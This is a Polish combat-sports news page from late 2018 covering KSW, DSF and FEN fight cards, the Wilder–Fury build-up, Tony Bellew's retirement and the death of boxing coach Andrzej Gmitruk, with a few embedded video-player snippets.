3 marca 2018 roku, Łódź – superfight z udziałem mistrzów wagi średniej i półciężkiej. Za faworyta uchodził Khalidov, który wygrywał kolejne walki w KSW i był pierwszoplanową postacią organizacji. Narkun poczynał sobie coraz śmielej, czego potwierdzeniem było zdobycie pasa na Wembley i jego trzykrotna obrona. W Łodzi rywalizacja zaczęła się od stójki. Khalidov, czujący się dobrze w każdej płaszczyźnie, wolał nie ryzykować zejścia do parteru, w którym Narkun prezentuje się znakomicie. W pierwszej odsłonie 37-latek z Groznego dwukrotnie trafił rywala, a ten wyciągnął wnioski i nie dał się ponownie zaskoczyć. Druga odsłona spokojna, a trzecia to prawdziwa wymiana. Narkun dopadł Khalidova pod siatką, jednak ten uciekł i odwdzięczył się przeciwnikowi. Pojedynek przeniósł się do parteru, gdzie mistrz wagi półciężkiej zakończył starcie duszeniem trójkątnym nogami. 

Tym samym Narkun zapisał nową kartę w historii KSW pokonując legendę organizacji. Niesamowite walki Khalidova na zawsze pozostaną w pamięci kibiców. Zapisał na swoim koncie mistrzostwo w wadze półciężkiej oraz średniej, które zwakował 30 lipca br. Porażka z Narkunem rozbudziła Khalidova, który pała chęcią rewanżu. Czy 1 grudnia w Gliwicach ponownie będzie na pierwszym planie?

Do historii okazję będzie miał przejść Mateusz Gamrot. Stawką jego starcia z Kleberem Koike Erbstem będzie pas wagi piórkowej. Przypomnijmy, że Gamrot ma na koncie mistrzostwo w kategorii lekkiej. Zapowiada się starcie dwóch zawodników, którzy znakomicie czują się w parterze. Gamrot jeszcze nigdy nie przegrał, a mistrzem jest już ponad dwa lata. Koike Erbst uwiódł polską publiczność swoimi umiejętnościami. Jego walki są ciekawe i efektowne. Japoński zawodnik brazylijskiego pochodzenia zdobył pas KSW na Stadionie Narodowym w Warszawie pokonując Marcina Wrzoska, ale pół roku później stracił go, ponieważ… nie zrobił wagi na walkę z Arturem Sowińskim.

Były mistrz wagi piórkowej Marcin Wrzosek stoczy piątą walkę w KSW. Jego rywalem będzie niepokonany Salahdine Parnasse. Niespełna 21-letni Francuz w KSW uporał się z Łukaszem Rajewskim i Arturem Sowińskim. Z kolei popularny "Kornik" po dwóch porażkach poszuka zwycięstwa w pojedynku z Kamilem Szymuszowskim.

Praktycznie w ostatniej chwili do karty walk wskoczył Roberto Soldić. Mistrz wagi półśredniej zastąpił kontuzjowanego Borysa Mańkowskiego, a w Gliwicach zmierzy się z Viniciusem Bohrerem.

Karta walk

Walka wieczoru: (92kg) Tomasz Narkun – Mamed Chalidow
O pas wagi piórkowej (65,8kg): Mateusz Gamrot – Kleber Koike Erbst
(65,8kg):  Marcin Wrzosek – Salahdine Parnasse
(80kg): Roberto Soldić – Vinicius Bohrer
(65,8kg): Roman Szymański – Daniel Torres
(70,3 kg): Gracjan Szadziński – Marian Ziółkowski
(70,3 kg): Artur Sowiński – Kamil Szymuszowski
(61,2 kg): Antun Racić – Sebastian Przybysz
(77,1 kg): Krystian Kaszubowski – Michal Michalski

Fot. materiały organizatora

KM

Emocje, emocje, a więc walka coraz bliżej

Wszyscy liczą na prawdziwą pięściarską ucztę. 1 grudnia w Staples Center w Los Angeles starcie o mistrzostwo świata w wadze ciężkiej – czempion WBC Deontay Wilder zmierzy się z Tysonem Furym. Na ostatniej prostej przed walką nie brakuje emocji.

Chyba nikt nie spodziewał się, że promocja pojedynku będzie przebiegała spokojnie i obędzie się bez ekscesów. Tak być po prostu nie mogło. Ostre wymiany słów, obustronne obelgi i przepychanki – tak w dużym skrócie można opisać obraz konferencji prasowych przed grudniowym starciem Wildera i Fury'ego. Patrzył na to cały świat.

W Londynie Fury zaproponował Wilderowi, żeby ten wstał i przyjął bokserską postawę. Po chwili doszło do przepychanek, musiała interweniować ochrona. Fury zwracał również uwagę, że Amerykanin ma problemy z… oddechem i powinien umyć zęby. Wilder nie pozostawał dłużny. Podkreślał jak irytuje go Fury, ale i Anthony Joshua. Zapewniał, że najbliższego rywala wsadzi do piekarnika i zrobi z niego muffinę.

Również ostatnia konferencja przed pojedynkiem była pełna emocji. Wilder krzyczał w stronę Fury'ego, a ten mu odpowiadał, jednak w pewnym momencie spasował. Brytyjczyk wykonywał zwody. Mistrz WBC wymachiwał rękoma i w końcu trafił Fury'ego w głowę. Wokół pięściarzy pojawiały się kolejne osoby z narożników. Fury zdjął marynarkę oraz koszulę i kontynuował wymianę z Wilderem. Nie trzeba dodawać, że pięściarze nie zwracali się do siebie literackim językiem.

Oby taka sama temperatura była 1 grudnia w ringu. Promocja pojedynku to jedno, a sama walka to „inna para kaloszy”. Obaj pięściarze jeszcze nigdy nie zaznali goryczy porażki, ale każdy znajduje się w innym punkcie kariery. Wilder jest mistrzem WBC od blisko czterech lat i zanotował siedem skutecznych obron tytułu. W tym roku walczył tylko raz, w dziesiątej rundzie pokonał przez nokaut Luisa Ortiza. Fury wrócił po ponad 2,5-letniej przerwie i zanotował dwie wygrane. Czy dla pogromcy Władimira Kliczko 2018 rok będzie wyjątkowy? Fury dostał to, czego chciał, czyli walkę o pas. Podstawowa kwestia dotyczy motoryki i wytrzymałości Brytyjczyka. Wcześniej udowodnił, że stać go na wiele. Jednak to Wilder jest regularny i prowadzi harmonijne przygotowania. Pytanie – czy to będzie miało znacznie? W tym przypadku o wygranej może zadecydować jeden cios. Pewne jest, że Fury nie może być „jeźdźcem bez głowy”, bo taką sytuację szybko wykorzysta Wilder. Mistrz WBC aż 39 pojedynków kończył przed czasem! Czy tak będzie również 1 grudnia?

Fot. Deontay Wilder Facebook

KM

DSF 18: Omielańczuk vs Czerwiński

DSF Kickboxing Challenge 18. Potężni, waleczni i nieustępliwi gladiatorzy gotowi na wojnę w ringu! Daniel Omielańczuk vs Tomasz "Big T" Czerwinski to starcie, które z pewnością zakończy się przed czasem. Kto komu urwie głowę? Dowiecie się 8 grudnia na gali DSF 18: Romankevich vs Sarara.

[kod]

DSF 18: Mecz K-1 Polska-Białoruś

8 grudnia na gali DSF Kickboxing Challenge 18 w Ząbkach reprezentacja Polski zmierzy się z prawdziwą potęgą. Białoruś to obecnie najmocniejsza drużyna w Europie, co potwierdziły ostatnie mistrzostwa, na których najwięcej medali zdobyli właśnie Białorusini. Czy biało-czerwoni zdołają powstrzymać rywali ze Wschodu? Oglądajcie 8 grudnia od 19:50 w TVP Sport!

[kod]

LIVE: DSF Kickboxing Challenge – Eliminator, EŁK 2018

Zapraszamy na transmisję telewizyjną z gali DSF Kickboxing Challenge – Eliminator, która odbywa się w Ełku.

[kod]

DSF Eliminator, Ełk 2018

DSF Eliminator, Ełk 2018

var player = redcdnplayer("redcdnplayer").setup({
file: {
hls: "http://r.dcs.redcdn.pl/livehls/o2/Marklaw/live/stream1/live-fhd.livx/playlist.m3u8",
dash: "http://r.dcs.redcdn.pl/livedash/o2/Marklaw/live/stream1/live-fhd.livx",
ss: "http://r.dcs.redcdn.pl/livess/o2/Marklaw/live/stream1/live-fhd.livx/manifest"
},
width: 640,
height: 380,
autoplay: false,
});

Zapowiedź DSF 18: Polacy gotowi na białoruskich mistrzów kickboxingu. „Będziemy się bić do ostatniej kropli krwi!”

Gala DSF Kickboxing Challenge 18 rozpocznie się od międzynarodowego meczu K-1 pomiędzy reprezentacjami Polski i Białorusi. Oba kraje zaliczają się do ścisłej europejskiej czołówki, czego dowiodły zakończone niedawno mistrzostwa Starego Kontynentu, w których Białoruś okazała się najlepsza, a Polska zajęła trzecie miejsce w klasyfikacji medalowej. 8 grudnia okaże się, który kraj ma lepszych zawodowców w formule K-1.

W składzie Białorusi znaleźli się prawie sami mistrzowie Europy i świata, ale Polacy mierzyli się już z prawdziwymi potęgami i odnosili wielkie zwycięstwa – jak w dramatycznym meczu z Rosją z kwietniowej gali DSF 14 na Torwarze, kiedy biało-czerwoni rozpoczęli od dwóch porażek, lecz ostatecznie zwyciężyli 3:2. Z dwoma zawodowymi mistrzami świata na czele Polacy zrobią wszystko, by odnieść drużynową wygraną podczas imprezy po raz pierwszy transmitowanej przez TVP Sport.

– Będę godnie i dumnie reprezentował orzełka, którego mam w sercu – zapewnia zawodowy mistrz świata Michał „Matrix” Królik (65 kg), który stoczy pierwszą walkę na gali DSF 18. – Od stuleci w Polakach drzemie wojownicza dusza. Dalej chcemy walczyć i wygrywać. Będę się bił do ostatniej kropli krwi, choćby mnie mieli znieść z ringu! – kończy zawodnik Paco Team legitymujący się znakomitym bilansem walk 34-5.

Jego entuzjazm podzielają pozostali polscy wojownicy. Jako drugi w ringu zamelduje się Michał Ronkiewicz (75 kg), kolejni będą Dawid „Mirko” Mirkowski (81 kg), Łukasz Bartnik (86 kg) i debiutujący w federacji DSF Mateusz Duczmal (+91 kg).

– Setki Polaków na trybunach, barwy narodowe, Mazurek Dąbrowskiego i ja stojący w ringu. Uważam, że nie ma nic piękniejszego dla zawodnika – wtóruje Łukasz „Kudłaty” Bartnik (86 kg), który w maju na gali DSF 15 w Warszawie efektownie zadebiutował w federacji DSF Kickboxing Challenge. – Chciałbym zakończyć tę walkę tak jak poprzednią, czyli przez nokaut.

Mecz Polska-Białoruś. 3 rundy po 3 minuty w formule K-1:
 

65 kg: Michał „Matrix” KRÓLIK vs Artsem VINNIK

75 kg: Michał RONKIEWICZ vs Maks SPADARENKA

81 kg: Dawid „Mirko” MIRKOWSKI vs Mikita SZOSTAK

86 kg: Łukasz „Kudłaty” BARTNIK vs Yauhen MIAHKOU

+91 kg: Mateusz DUCZMAL vs Ihar KAMKOU

Po meczu Polska-Białoruś na gali DSF 18 w Ząbkach wystąpi popularny kickbokser i zawodnik MMA Daniel Omielańczuk, który zmierzy się z ogromnym Tomaszem Czerwińskim. W walce wieczoru znakomity Petr Romankevich broni mistrzowskiego tytułu w wadze ciężkiej w starciu z byłym czempionem FEN i Celtic Gladiator –Tomaszem Sararą.

Gala DSF Kickboxing Challenge 18 w Ząbkach odbędzie się 8 grudnia o godzinie 19:50. Transmisja na żywo po raz pierwszy w TVP Sport. Bilety są dostępne na DSFTicket.com. Wydarzenia związane z imprezą można śledzić na bieżąco na stronie na Facebooku >>>

Były mistrz świata zakończył karierę

Stoczył 34 zawodowe walki, z których 30 zakończyło się jego sukcesem. Bokser Tony Bellew oficjalnie zakończył karierę.

Blisko 36-letni pięściarz występował w trzech kategoriach wagowych – półciężkiej, junior ciężkiej i ciężkiej. Bellew pierwszy pojedynek stoczył w październiku 2007 roku. W Nottingham Arena pokonał przez nokaut w drugiej rundzie Jamie'go Amblera. Bellew wygrał szesnaście kolejnych walk i dostał pierwszą w karierze możliwość rywalizacji o pas mistrza świata w kategorii półciężkiej. O tytuł WBO toczył bój z Nathane'm Cleverly'm, jednak przegrał na punkty. Drugie podejście również okazało się nieskuteczne. W listopadzie 2013 roku Bellew poległ w starciu z Adonisem Stevensonem, a stawką starcia był pas WBC.

Po niepowodzeniach w starciach o tytuły mistrzowskie, dla Brytyjczyka przyszły lepsze dni. Zdecydowanie największe sukcesy odnosił w wadze cruiser. Jedną z ofiar brytyjskiego pięściarza padł Mateusz Masternak, z którym w grudniu 2015 roku walczył o pas mistrza Europy. Pół roku później Bellew zmierzył się z Ilungą Makabu o tytuł mistrza świata WBC. W trzeciej rundzie starcia w Liverpoolu pięściarz z Kongo wylądował na deskach. Bellew został mistrzem świata i tytułu skutecznie bronił… raz. Potem zamarzył o podboju wagi ciężkiej, a dokładniej mówiąc o panowaniu na Wyspach Brytyjskich. Bellew dwukrotnie zmierzył się z Davidem Haye'm. Scenariusz pojedynków był podobny – zawodnik z Liverpoolu wygrał przed czasem (odpowiednio w jedenastej i piątej rundzie).

Ostatnią walkę Bellew stoczył 10 listopada br. w Manchesterze. Wszyscy czekali na jego starcie z mocnym Oleksandrem Usykiem, który triumfował w pierwszej edycji World Boxing Super Series. Ukrainiec do rywalizacji z Brytyjczykiem przystąpił jako posiadacz czterech tytułów mistrzowskich – IBF, WBA, WBC i WBO. Początek starcia wyrównany, jednak z czasem swoją siłę potwierdził Usyk. Król wagi cruiser w ósmej rundzie ciosami sierpowymi posłał rywala na deski.

– Nadszedł czas, abym w końcu opuścił ring. Dzwonek zabił po raz ostatni. Chcę podziękować wszystkim, którzy przez lata dawali mi wsparcie. To nie koniec mojej historii, więc śledźcie moją stroną internetową – napisał na Twitterze Tony Bellew.

KM

LIVE: FEN 23 – Konferencja prasowa

Zapraszamy na transmisję telewizyjną z konferencji prasowej przed galą FEN 23.

[kod]

FEN 23 – Konferencja prasowa

FEN 23 – Konferencja prasowa

var player = redcdnplayer("redcdnplayer").setup({
file: {
hls: "http://r.dcs.redcdn.pl/livehls/o2/Marklaw/live/stream1/live-fhd.livx/playlist.m3u8",
dash: "http://r.dcs.redcdn.pl/livedash/o2/Marklaw/live/stream1/live-fhd.livx",
ss: "http://r.dcs.redcdn.pl/livess/o2/Marklaw/live/stream1/live-fhd.livx/manifest"
},
width: 640,
height: 380,
autoplay: false,
});

Zwiastun gali DSF 18: Romankevich-Sarara | 8 grudnia od 19:50 na antenie TVP Sport!

Od półtora roku na tronie królewskiej kategorii organizacji DSF Kickboxing Challenge zasiada mocarny Białorusin Petr Romankevich. Może się to zmienić 8 grudnia na gali DSF 18 w Ząbkach, gdy naprzeciw czempiona stanie debiutujący w federacji zawodowy mistrz świata Tomasz Sarara. Arcyciekawy białorusko-polski pojedynek będzie głównym daniem imprezy transmitowanej przez TVP Sport.

O sile i umiejętnościach mistrza wagi ciężkiej przekonało się już dwóch polskich wojowników. W czerwcu 2017 roku Petr Romankevich (27-5) zdominował Michała Turyńskiego w walce o pas, a 10 miesięcy później w drugiej obronie tytułu na gali DSF 14 w Warszawie znokautował Dawida Żółtaszka efektownym wysokim kopnięciem.

 

 

""

– Jeszcze długo nie zamierzam się rozstawać z mistrzowskim pasem organizacji DSF Kickboxing Challenge – mówi 28-letni Białorusin. – Wiem, że mogę znokautować każdego. W wadze ciężkiej o wszystkim może zadecydować jeden cios zadany w pierwszej rundzie. 8 grudnia zamierzam po raz kolejny przeciągnąć polską publiczność na swoją stronę.

Dorobek mistrza nie robi wrażenia na 33-letnim pretendencie. Tomasz Sarara (40-7) nie poniósł porażki od ponad sześciu lat i jest przekonany, że 8 grudnia również zejdzie z ringu zwycięski, a do mistrzowskich trofeów federacji Celtic Gladiator i FEN dołoży drogocenny pas organizacji DSF Kickboxing Challenge.

– Wychodzę do ringu bez żadnych kompleksów. Nie muszę nikomu niczego udowadniać, udowodnię tylkoRomankevichowi, że nie zasługuje na ten pas – zapewnia Sarara, który w ostatnim występie zdobył tytuł mistrza świata WKN. – Na jego miejscu nawet nie wchodziłbym do ringu, bo będzie próbował z niego uciec, ale wtedy już będzie za późno i nic mu nie pomoże. Romankevich chwali się, że jest duży i silny, ale to charakter daje przewagę w walce. Wchodzę do ringu po efektowną wygraną i będę szukał nokautu!

Pomysłodawcą pojedynku Romankevich-Sarara był prezes DSF Kickboxing Challenge Sławomir Duba. Organizator grudniowej gali DSF 18 w Ząbkach postawił sobie za cel, by właśnie to starcie było główną atrakcją pierwszej imprezy federacji DSF w TVP Sport.

– Walka Romankevich-Sarara to ponad 200 kilogramów żywej wagi w ringu. Dwóch gości będzie chciało zrobić sobie krzywdę. Czy nasze liny to wytrzymają? – zastanawia się prezes Duba. 
– Romankevich zdominował Turyńskiego i znokautował Żółtaszka. Moim zdaniem dla Tomasza Sarary to będzie najtrudniejsza walka w karierze. Starcie o tron wagi ciężkiej zapamięta cała Polska!

""

Na gali DSF 18 w Ząbkach wystąpi również popularny kickbokser i zawodnik MMA Daniel Omielańczuk, który zmierzy się z ogromnym Tomaszem Czerwińskim. Wcześniej odbędzie się także złożony z pięciu walk międzynarodowy mecz K-1 Polska-Białoruś. Biało-czerwone barwy reprezentować będą: Mateusz Duczmal (91 kg), Łukasz Bartnik (86 kg), Dawid „Mirko” Mirkowski (81 kg), Michał Ronkiewicz (75 kg) oraz Michał „Matrix” Królik (65 kg). Ich rywalami będą znakomici Białorusini, którzy w tym roku po raz kolejny zdominowali mistrzostwa Europy, przywożąc z nich najwięcej złotych medali.

Gala DSF Kickboxing Challenge 18 w Ząbkach odbędzie się 8 grudnia o godzinie 19:50. Transmisja na żywo po raz pierwszy w TVP Sport. Bilety są dostępne na DSFTicket.com. Wydarzenia związane z imprezą można śledzić na bieżąco na stronie na Facebooku >>>

Trailer DSF 18: Romankevich vs Sarara

DSF Kickboxing Challenge 18: Petr Romankevich vs Tomasz Sarara. W walce wieczoru mocarny białoruski czempion wagi ciężkiej zmierzy się z amatorskim i zawodowym mistrzem świata, byłym mistrzem FEN i Celtic Gladiator – Tomaszem Sararą. Oglądaj galę DSF 18 w Ząbkach 8 grudnia od 19:50 w TVP Sport. Bilety na DSFTicket.com.

[kod]

Nie żyje Andrzej Gmitruk

Stał w narożnikach czołowych polskich bokserów. Nie żyje trener Andrzej Gmitruk, miał 67 lat. Zginął tragicznie w pożarze domu.

Jeszcze dziesięć dni temu Andrzej Gmitruk stał w narożniku Artura Szpilki, gdy ten walczył z Mariuszem Wachem. Dziś polski boks otrzymał potężny cios – 67-letni trener nie żyje. Gmitruk zginął w pożarze domu. – Dzisiejszego poranka tj. 20 listopada doszło do tragicznego zdarzenia w Hipolitowie. O godzinie 4:00 nasza jednostka została zadysponowana do pożaru domu jednorodzinnego. W wyniku pożaru śmierć poniósł jeden z najlepszych trenerów kadry bokserskiej. Ochotnicza Straż Pożarna w Długiej Kościelnej składa najszczersze kondolencje rodzinnie i bliskim – czytamy w komunikacie OSP Długa Kościelna.

Trudno uwierzyć w to, co się stało. Odejście Gmitruka to ogromna strata dla polskiego boksu. – Nie wiem czemu się tak dzieje, ze tacy ludzie odchodzą. Jest mi bardzo przykro i nie wiem co powiedzieć … ale dziś w nocy odszedł jeden z największych trenerów jakich znałem. Andrzej Gmitruk Trener i wspaniały człowiek – napisał na Facebooku Artur Szpilka.

Andrzej Gmitruk pracował w Polskim Związku Bokserskim jako trener kadry juniorów. Był również związany z Legią Warszawa, z którą pięciokrotnie zdobył złoty medal drużynowych mistrzostw Polski. Andrzej Gmitruk prowadził również grupę O'chikara Gmitruk Team. Uważany przez wielu za jednego z najlepszych trenerów zapisał na swoim koncie pracę z czołowymi polskimi pięściarzami m.in. Tomaszem Adamkiem, Krzysztofem Kosedowskim, Andrzejem Gołotą, Mateuszem Masternakiem czy ostatnio Arturem Szpilką.

Gmitruk pracował również jako ekspert bokserski, komentował walki wspólnie z Andrzejem Kostyrą. Warto wspomnieć, że współpracował także z Norweskim Komitetem Olimpijskim ds. sportów letnich.

Odszedł zdecydowanie zbyt wcześniej. Pozostawił po sobie pustkę. Zapisał piękną kartę w historii polskiego boksu, dlatego pamięć o nim będzie trwać.

Fot. Facebook

KM

Dopełnienie trylogii na FEN 23 w Lubinie

Eliasz Jankowski (19-7-1) skrzyżuje rękawice z Rafałem Niestrzębą (8-3) podczas gali Fight Exclusive Night 23, która 12 stycznia odbędzie się w Lubinie. Limit pojedynku w formule K-1 to 67 kilogramów.

33-letni Jankowski jest bez wątpienia jednym z najbardziej utytułowanych i doświadczonych polskich kickbokserów. Lista sukcesów legnickiego wojownika jest długa i imponująca – są na niej m.in. tytuły zawodowego mistrza świata w K-1 Global, zawodowego mistrza świata organizacji WKN i wicemistrza Europy federacji WAKO, a także Puchar Świata WAKO w K-1. Na zawodowych arenach „Jankes” stoczył dotychczas 27 walki, z których aż 19 wygrał. Reprezentant Polkon Fight Legnica karierę sportową łączy ze służbą wojskową – jest zawodowym żołnierzem w 10. Brygadzie Kawalerii Pancernej w Świętoszowie. Jego ostatnim sukcesem jest srebrny medal mistrzostw Europy, które w październiku tego roku odbyły się w Bratysławie.

Niestrzęba w 2016 roku mierzył się z Jankowskim, ale wtedy, po bardzo emocjonującej walce, musiał uznać jego wyższość. W drugim pojedynku zawodnicy zderzyli się głowami, a rozcięcie łuku brwiowego u zawodnika z Wrocławia spowodowało, że sędzia przerwał pojedynek. Na amatorstwie trenujący na co dzień w Norwegii zawodnik stoczył 44 pojedynki, z czego 36 wygrał. W swoim dorobku ma zwycięstwa nad takimi zawodnikami, jak między innymi Jan Lodzik oraz Bartosz Batra. W 2015 roku we Włoszech Niestrzęba został amatorskim mistrzem świata federacji K-1 Global.

Karta walk FEN 23: 

  • Norman Parke VS TBA -74 kg
  • Marcin Zontek VS Marcin Sianos -120 kg
  • Łukasz Pławecki VS Dominik Zadora – 77 kg* K-1
  • Tymoteusz Łopaczyk VS Szymon Dusza -77 kg
  • Wojciech Wierzbicki VS TBA -77 kg K-1
  • Eliasz Jankowski VS Rafał Niestrzęba -67 kg K-1
  • TBA VS TBA
  • Kacper Muszyński VS Łukasz Kaczmarczyk -70 kg K-1
  • Bartosz Hassa VS Mariusz Lach -61 kg K-1

* stawką tych pojedynków będą pasy mistrzowskie federacji Fight Exclusive Night

Bilety na galę FEN 23 dostępne są na stronie www.fen-mma.com/bilet oraz na Eventim.pl.

DSF 18: Wielkie grzmoty w wadze ciężkiej! Omielańczuk zmierzy się z Czerwińskim

Na gali DSF Kickboxing Challenge 18 w Ząbkach kolejną walkę w K-1 stoczy Daniel Omielańczuk. W trzecim występie dla federacji DSF zawodnik Berkut WCA zmierzy się Tomaszem Czerwińskim. Podczas ich pojedynku w ringu znajdzie się prawie 250 kilogramów. Całą galę pokaże na żywo TVP Sport.

36-letni Omielańczuk ma na koncie dwa udane występy na galach DSF Kickboxing Challenge. W grudniu 2017 roku na DSF 12 zmierzył się z Olim Thompsonem, którego pokonał na punkty. W kwietniu 2018 roku na DSF 14 wygrał z Nico Falinem. W odróżnieniu od tamtych rywali ważący ponad 120 kilogramów Czerwiński będzie miał nad Danielem ogromną przewagę w warunkach fizycznych. Wszystkie jego walki kończą się w pierwszej rundzie.

Starcie Omielańczuk-Czerwiński rozgrzeje kibiców przed walką wieczoru, w której Petr Romankevich będzie bronił tytułu mistrzowskiego w wadze ciężkiej w starciu z zawodowym mistrzem świata Tomaszem Sararą. Białoruski czempion ma na koncie zwycięstwa m.in. nad Michałem Turyńskim oraz Dawidem Żółtaszkiem.

Na gali DSF 18 odbędzie się także złożony z pięciu walk międzynarodowy mecz K-1 Polska-Białoruś. Biało-czerwone barwy reprezentować będą: Mateusz Duczmal (91 kg), Łukasz Bartnik (86 kg), Dawid „Mirko” Mirkowski (81 kg), Michał Ronkiewicz (75 kg) oraz Michał „Matrix” Królik (65 kg). Ich rywalami będą znakomici Białorusini, którzy w tym roku po raz kolejny zdominowali mistrzostwa Europy, przywożąc z nich najwięcej złotych medali.

Gala DSF Kickboxing Challenge 18 odbędzie się 8 grudnia o godzinie 19:50. Transmisja na żywo po raz pierwszy w TVP Sport. Bilety są dostępne na DSFTicket.com. Wydarzenia związane z imprezą można śledzić na bieżąco na stronie wydarzenia na Facebooku >>>

Muszyński z Kaczmarczykiem kolejnymi bohaterami FEN 23 w formule K-1

Kacper Muszyński (11-1-1) stanie w klatce naprzeciwko Łukasza Kaczmarczyka (12-4) podczas gali Fight Exclusive Night 23, która 12 stycznia odbędzie się w hali RCS w Lubinie. Limit wagowy debiutujących w federacji zawodników w formule K-1 to 70 kilogramów.

Muszyński to jeden z najzdolniejszych polskich zawodników w formule K-1 młodego pokolenia. Fighter reprezentujący klub Armia Polkowice ma dopiero 20 lat, a już może pochwalić się wieloma sukcesami. W 2013 roku został mistrzem Europy juniorów młodszych, w późniejszych latach dwukrotnie sięgał po Puchar Świata. W międzyczasie dołożył do trofeów jeszcze tytuł wicemistrza świata. We wrześniu 2018 roku pokonał Tomasa Drabika i odniósł swoje kolejne zwycięstwo, które tylko pokazało, że Muszyński jest zawodnikiem "z papierami" na osiągnięcie w sporcie wielkich sukcesów.

Kaczmarczyk to wielokrotny mistrz Polski. Ostatni tytuł na krajowym podwórku zdobył w marcu 2018 roku. Zawodnik klubu Gym-Fight Wrocław jest trzykrotnym zdobywcą Pucharu Świata WAKO, mistrzem Europy oraz medalistą mistrzostw świata. Kibice z Dolnego Śląska kochają go za agresywny styl, nieszablonowość oraz emocje, które dostarczają jego pojedynki. "Kaczor" ma w swoim dorobku ponadto 170 pojedynków amatorskich.

Karta walk FEN 23: 

  • Norman Parke VS TBA -74 kg
  • Marcin Zontek VS Marcin Sianos -120 kg
  • Łukasz Pławecki VS Dominik Zadora – 77 kg* K-1
  • Tymoteusz Łopaczyk VS Szymon Dusza -77 kg
  • Wojciech Wierzbicki VS TBA -77 kg K-1
  • Eliasz Jankowski VS TBA -67 kg K-1
  • TBA VS TBA
  • Kacper Muszyński VS Łukasz Kaczmarczyk -70 kg K-1
  • Bartosz Hassa VS Mariusz Lach -61 kg K-1

* stawką tych pojedynków będą pasy mistrzowskie federacji Fight Exclusive Night

Bilety na galę FEN 23 dostępne są na stronie www.fen-mma.com/bilet oraz na Eventim.pl.

5. urodziny federacji Fight Exclusive Night!

16 listopada 2013 roku – Fight Exclusive Night organizuje swoją pierwszą galę. Pomysł, by utworzyć organizację zajmującą się walkami w formułach MMA i K-1, narodził się kilkanaście tygodni wcześniej. Po upływie 60 miesięcy od tamtego dnia FEN jest ważnym punktem na europejskiej mapie sportów walki.

Aftermovie z pierwszego naszego wydarzenia wyglądał tak. Oglądamy ten filmik po raz któryś i dochodzimy do wniosku, że… czas szybko leci:)

Dziś FEN jest już w zupełnie innym miejscu. Niecały miesiąc temu odbyła się gala nr 22. i nasza federacja po raz pierwszy zawitała do Poznania, który jest swego rodzaju kolebką mieszanych sztuk walki. Za niespełna dwa miesiące po raz czwarty zawitamy do Lubina, bo w tym mieście dobrze nam idzie, a kibice piszą do nas na Facebooku z zapytaniem, kiedy wraz ze swoimi zawodnikami ponownie rozbujamy dolnośląską publiczność.

Na pewno nie będziemy niczego podsumowywać i wypisywać, co udało się osiągnąć. To nas nie interesuje, bo cały czas patrzymy wprzód i wierzymy, że najlepsze dopiero przed nami. Patrząc jednak zupełnie szczerze na wszystko, co już za nami, uważamy, że zrobiliśmy sporo dobrego w sportach walki dla naszego kraju. Daliśmy dużo frajdy naszym kibicom, którzy długo wspominali organizowane przez nas wydarzenia. Kilka razy pokazaliśmy, że można dawać fanom emocje, nawet jeżeli naprzeciw siebie w klatce nie staje dwóch gości nie mających nic wspólnego ze sportem. Udowodniliśmy, że K-1, które zdaniem wielu osób przeżywa kryzys, można fajnie pokazać i zebrać za to pozytywne recenzje.

Wykreowaliśmy kilku naprawdę znakomitych zawodników. Mamy mistrzów, którymi interesują się najwięksi gracze globu. Nasi fighterzy pokazując u nas swoje umiejętności chwilę później podpisywali kontrakt z UFC, co było dla nas powodem do dumy, gdyż każdy z tych wojowników w swoim sportowym CV przy FEN miał wpisaną nazwę amerykańskiej federacji. Potrafiliśmy sprowadzać zawodników z całego świata dla naszych lokalnych bohaterów, którzy momentami okazywali się lepsi od tych, których przyjaciele wraz z rodziną zasiadali na trybunach. Nie hodowaliśmy niczyjego rekordu, nie mydliliśmy wam oczu, że gość z ujemnym rekordem i dwucyfrową liczbą porażek na koncie jest gladiatorem i boją się go całe Fawele w Sao Paolo. Staraliśmy się zawsze dawać naszym odbiorcom sport w najczystszej postaci i… wiecie co? Serio jesteśmy z tego dumni.

W ostatnim roku pokazaliśmy, że stać nas na wielkie rzeczy. W marcu z pompą uczciliśmy nasz jubileusz, czyli 20. edycję. Chwilę później po raz kolejny zatrzęśliśmy Wrocławiem, by w październiku zaznaczyć woją obecność w Wielkopolsce. Pojawiają się u nas coraz lepsi zawodnicy, coraz głośniejsze nazwiska, rozpoczęcie współpracy z Grupą LOTOS pokazuje, że FEN idzie w dobrym kierunku. Cieszymy się, z tego, co wydarzyło się w ostatnim czasie, ale doskonale wiemy, że przed nami jeszcze dużo pracy, na którą jesteśmy gotowi.

Dziękujemy kibicom, zawodnikom, partnerom, sponsorom. Dziękujemy telewizji POLSAT i wszystkim, którzy przyczynili się do tego, że cały czas możemy się rozwijać. Zapraszamy już dziś do Lubina na naszą galę. Mamy nadzieję, że z każdym kolejnym rokiem z uśmiechem na ustach będziemy mogli dzielić się z wami samymi pozytywnymi nowinami.

Karta walk FEN 23:

  • Norman Parke VS TBA -74 kg
  • Marcin Zontek VS Marcin Sianos -120 kg
  • Łukasz Pławecki VS Dominik Zadora – 77 kg* K-1
  • Tymoteusz Łopaczyk VS Szymon Dusza -77 kg
  • Wojciech Wierzbicki VS TBA -77 kg K-1
  • Eliasz Jankowski VS TBA -67 kg K-1
  • TBA VS TBA
  • TBA VS TBA
  • Bartosz Hassa VS Mariusz Lach -61 kg K-1

* stawką tych pojedynków będą pasy mistrzowskie federacji Fight Exclusive Night

Bilety na galę FEN 23 dostępne są na stronie www.fen-mma.com/bilet oraz na Eventim.pl.

Zadora jako pierwszy przetestuje mistrza Pławeckiego

Dominik Zadora (21-7) będzie rywalem Łukasza Pławeckiego (22-14-1) podczas gali Fight Exclusive Night 23, która 12 stycznia odbędzie się w Lubinie. "Boom Boom" tym samym po raz pierwszy stanie przed obroną tytułu mistrzowskiego w formule K-1. Limit wagowy tego starcia to 77 kilogramy.

Zadora do czterokrotny mistrz Polski w Muay Thai oraz zdobywca pasa zawodowego mistrza Europy w kickboxingu. Fighter trenujący na co dzień we Wrocławiu może pochwalić się tytułem wicemistrza świata w kickboxingu, jest również zdobywcą Pucharu Świata w tej samej dyscyplinie. Wielu ekspertów sportów uderzanych uważa go za jednego z najbardziej widowiskowo walczących zawodników w naszym kraju.

Zadora jest na co dzień zawodnikiem zrzeszonym w DSF Kickboxing Challenge i jego występ na gali FEN 23 będzie kontynuacją współpracy pomiędzy federacjami w zakresie wymiany zawodników walczących w formule K-1.

